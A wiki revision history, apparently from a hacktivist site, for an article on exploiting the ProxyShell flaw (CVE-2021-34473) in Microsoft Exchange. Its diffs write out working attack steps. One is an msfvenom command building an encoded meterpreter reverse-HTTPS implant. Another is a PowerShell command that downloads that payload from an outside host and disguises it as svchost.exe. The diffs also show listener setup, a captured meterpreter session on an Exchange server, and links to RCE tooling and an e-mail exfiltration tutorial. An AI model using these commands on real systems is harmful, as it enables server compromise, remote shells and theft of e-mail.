Proxyshell - Revision history

Mxwgn at 08:14, 27 November 2023

2023-11-27T08:14:13Z

← Older revision		Revision as of 08:14, 27 November 2023
Line 64:		Line 64:
	</pre>		</pre>

	=== ~~Email~~ exfiltration ===		=== E-mail exfiltration ===
	For exfiltrating ~~emails~~ via [https://github.com/Jumbo-WJB/Exchange_SSRF proxyshell exploitation] see [https://enlacehacktivista.org/hackback2.webm Guacamaya's tutorial HackBack video].		For exfiltrating e-mails via [https://github.com/Jumbo-WJB/Exchange_SSRF proxyshell exploitation] see [https://enlacehacktivista.org/hackback2.webm Guacamaya's tutorial HackBack video].

Booda: /* Exploiting proxyshell - CVE-2021-34473 */

2023-08-09T18:07:49Z

Exploiting proxyshell - CVE-2021-34473

← Older revision		Revision as of 18:07, 9 August 2023
Line 1:		Line 1:
	== Exploiting proxyshell - CVE-2021-34473 ==		== Exploiting proxyshell - CVE-2021-34473 ==
	* (Book) Mastering Metasploit: Exploit systems, cover your tracks, and bypass security controls with the Metasploit 5.0 framework, 4th Edition		* (Book) Mastering Metasploit: Exploit systems, cover your tracks, and bypass security controls with the Metasploit 5.0 framework, 4th Edition
	I found that using <code>exploit/windows/http/exchange_proxyshell_rce</code> doesn't work but [https://github.com/Udyz/proxyshell-auto proxyshell-auto] does for gaining RCE. Here we use both the exploit and ~~metasploit~~.		I found that using <code>exploit/windows/http/exchange_proxyshell_rce</code> doesn't work but [https://github.com/Udyz/proxyshell-auto proxyshell-auto] does for gaining RCE. Here we use both the exploit and a meterpreter to compromise vulnerable hosts.
	* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet.md Metasploit - Cheatsheet]		* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet.md Metasploit - Cheatsheet]

Booda: /* Gain a shell */

2023-07-26T23:14:24Z

Gain a shell

← Older revision		Revision as of 23:14, 26 July 2023
Line 43:		Line 43:
	From here we want to [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md download a meterpreter payload] for post exploitation:		From here we want to [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md download a meterpreter payload] for post exploitation:

	<code>SHELL> powershell.exe Invoke-WebRequest -Uri "http://1.2.3.4:8000/meterpreter.exe" -OutFile "c:\~~windows~~\~~TEMP~~\svchost.exe"</code>		<code>SHELL> powershell.exe Invoke-WebRequest -Uri "http://1.2.3.4:8000/meterpreter.exe" -OutFile "c:\Windows\Temp\svchost.exe"</code>

	We now set our listener and execute the payload:		We now set our listener and execute the payload:

Booda: /* Gain a shell */

2023-07-24T19:23:11Z

Gain a shell

← Older revision		Revision as of 19:23, 24 July 2023
Line 41:		Line 41:
	SHELL>		SHELL>
	</pre>		</pre>
	From here we want to download a meterpreter payload for post exploitation:		From here we want to [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md download a meterpreter payload] for post exploitation:

	<code>SHELL> powershell.exe Invoke-WebRequest -Uri "http://1.2.3.4:8000/meterpreter.exe" -OutFile "c:\windows\TEMP\svchost.exe"</code>		<code>SHELL> powershell.exe Invoke-WebRequest -Uri "http://1.2.3.4:8000/meterpreter.exe" -OutFile "c:\windows\TEMP\svchost.exe"</code>

Booda: /* Exploiting proxyshell - CVE-2021-34473 */

2023-07-24T19:13:11Z

Exploiting proxyshell - CVE-2021-34473

← Older revision		Revision as of 19:13, 24 July 2023
Line 2:		Line 2:
	* (Book) Mastering Metasploit: Exploit systems, cover your tracks, and bypass security controls with the Metasploit 5.0 framework, 4th Edition		* (Book) Mastering Metasploit: Exploit systems, cover your tracks, and bypass security controls with the Metasploit 5.0 framework, 4th Edition
	I found that using <code>exploit/windows/http/exchange_proxyshell_rce</code> doesn't work but [https://github.com/Udyz/proxyshell-auto proxyshell-auto] does for gaining RCE. Here we use both the exploit and metasploit.		I found that using <code>exploit/windows/http/exchange_proxyshell_rce</code> doesn't work but [https://github.com/Udyz/proxyshell-auto proxyshell-auto] does for gaining RCE. Here we use both the exploit and metasploit.
			* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet.md Metasploit - Cheatsheet]

	=== Build meterpreter ===		=== Build meterpreter ===
	First we make an implant to perform post exploitation using metasploit:		First we make an implant to perform post exploitation using metasploit:

Booda: /* Exploiting proxyshell - CVE-2021-34473 */

2023-07-15T16:28:48Z

Exploiting proxyshell - CVE-2021-34473

← Older revision		Revision as of 16:28, 15 July 2023
Line 1:		Line 1:
	== Exploiting proxyshell - CVE-2021-34473 ==		== Exploiting proxyshell - CVE-2021-34473 ==
			* (Book) Mastering Metasploit: Exploit systems, cover your tracks, and bypass security controls with the Metasploit 5.0 framework, 4th Edition
	I found that using <code>exploit/windows/http/exchange_proxyshell_rce</code> doesn't work but [https://github.com/Udyz/proxyshell-auto proxyshell-auto] does for gaining RCE. Here we use both the exploit and metasploit.		I found that using <code>exploit/windows/http/exchange_proxyshell_rce</code> doesn't work but [https://github.com/Udyz/proxyshell-auto proxyshell-auto] does for gaining RCE. Here we use both the exploit and metasploit.
	=== Build meterpreter ===		=== Build meterpreter ===

Booda: /* Exploiting proxyshell - CVE-2021-34473 */

2023-07-06T12:33:21Z

Exploiting proxyshell - CVE-2021-34473

← Older revision		Revision as of 12:33, 6 July 2023
Line 1:		Line 1:
	== Exploiting proxyshell - CVE-2021-34473 ==		== Exploiting proxyshell - CVE-2021-34473 ==
			I found that using <code>exploit/windows/http/exchange_proxyshell_rce</code> doesn't work but [https://github.com/Udyz/proxyshell-auto proxyshell-auto] does for gaining RCE. Here we use both the exploit and metasploit.
	=== Build meterpreter ===		=== Build meterpreter ===
	First we make an implant to perform post exploitation using metasploit:		First we make an implant to perform post exploitation using metasploit:

Booda: /* Exploiting proxyshell - CVE-2021-34473 */

2023-07-05T13:16:58Z

Exploiting proxyshell - CVE-2021-34473

← Older revision		Revision as of 13:16, 5 July 2023
Line 3:		Line 3:
	First we make an implant to perform post exploitation using metasploit:		First we make an implant to perform post exploitation using metasploit:

	<code>msfvenom -p windows/meterpreter/reverse_https LHOST=1.2.3.4 LPORT=8888 -e x86/shikata_ga_nai -i 5 -f exe -o ~~svchost~~.exe</code>		<code>msfvenom -p windows/meterpreter/reverse_https LHOST=1.2.3.4 LPORT=8888 -e x86/shikata_ga_nai -i 5 -f exe -o meterpreter.exe</code>

	Now we set our listener:		Now we set our listener:

Booda at 12:18, 5 July 2023

2023-07-05T12:18:19Z

← Older revision		Revision as of 12:18, 5 July 2023
Line 37:		Line 37:
	SHELL>		SHELL>
	</pre>		</pre>
	From here we want to ~~upload~~ a meterpreter payload for post exploitation:		From here we want to download a meterpreter payload for post exploitation:

	<code>SHELL> powershell.exe Invoke-WebRequest -Uri "http://1.2.3.4:8000/meterpreter.exe" -OutFile "c:\windows\TEMP\svchost.exe"</code>		<code>SHELL> powershell.exe Invoke-WebRequest -Uri "http://1.2.3.4:8000/meterpreter.exe" -OutFile "c:\windows\TEMP\svchost.exe"</code>

Booda at 08:47, 5 July 2023

2023-07-05T08:47:49Z

← Older revision		Revision as of 08:47, 5 July 2023
Line 1:		Line 1:
	== Exploiting proxyshell ==		== Exploiting proxyshell - CVE-2021-34473 ==
	=== Build meterpreter ===		=== Build meterpreter ===
	First we make an implant to perform post exploitation using metasploit:		First we make an implant to perform post exploitation using metasploit:
Line 51:		Line 51:
	[*] Meterpreter session 1 opened (1.2.3.4:8888 -> 10.10.10.11:1984) at 2023-07-05 08:00:18 +0000		[*] Meterpreter session 1 opened (1.2.3.4:8888 -> 10.10.10.11:1984) at 2023-07-05 08:00:18 +0000
	meterpreter > sysinfo		meterpreter > sysinfo
	Computer : srvexchange2016~~.domain.local~~		Computer : srvexchange2016
	OS : Windows 2016+ (10.0 Build 14393).		OS : Windows 2016+ (10.0 Build 14393).
	Architecture : x64		Architecture : x64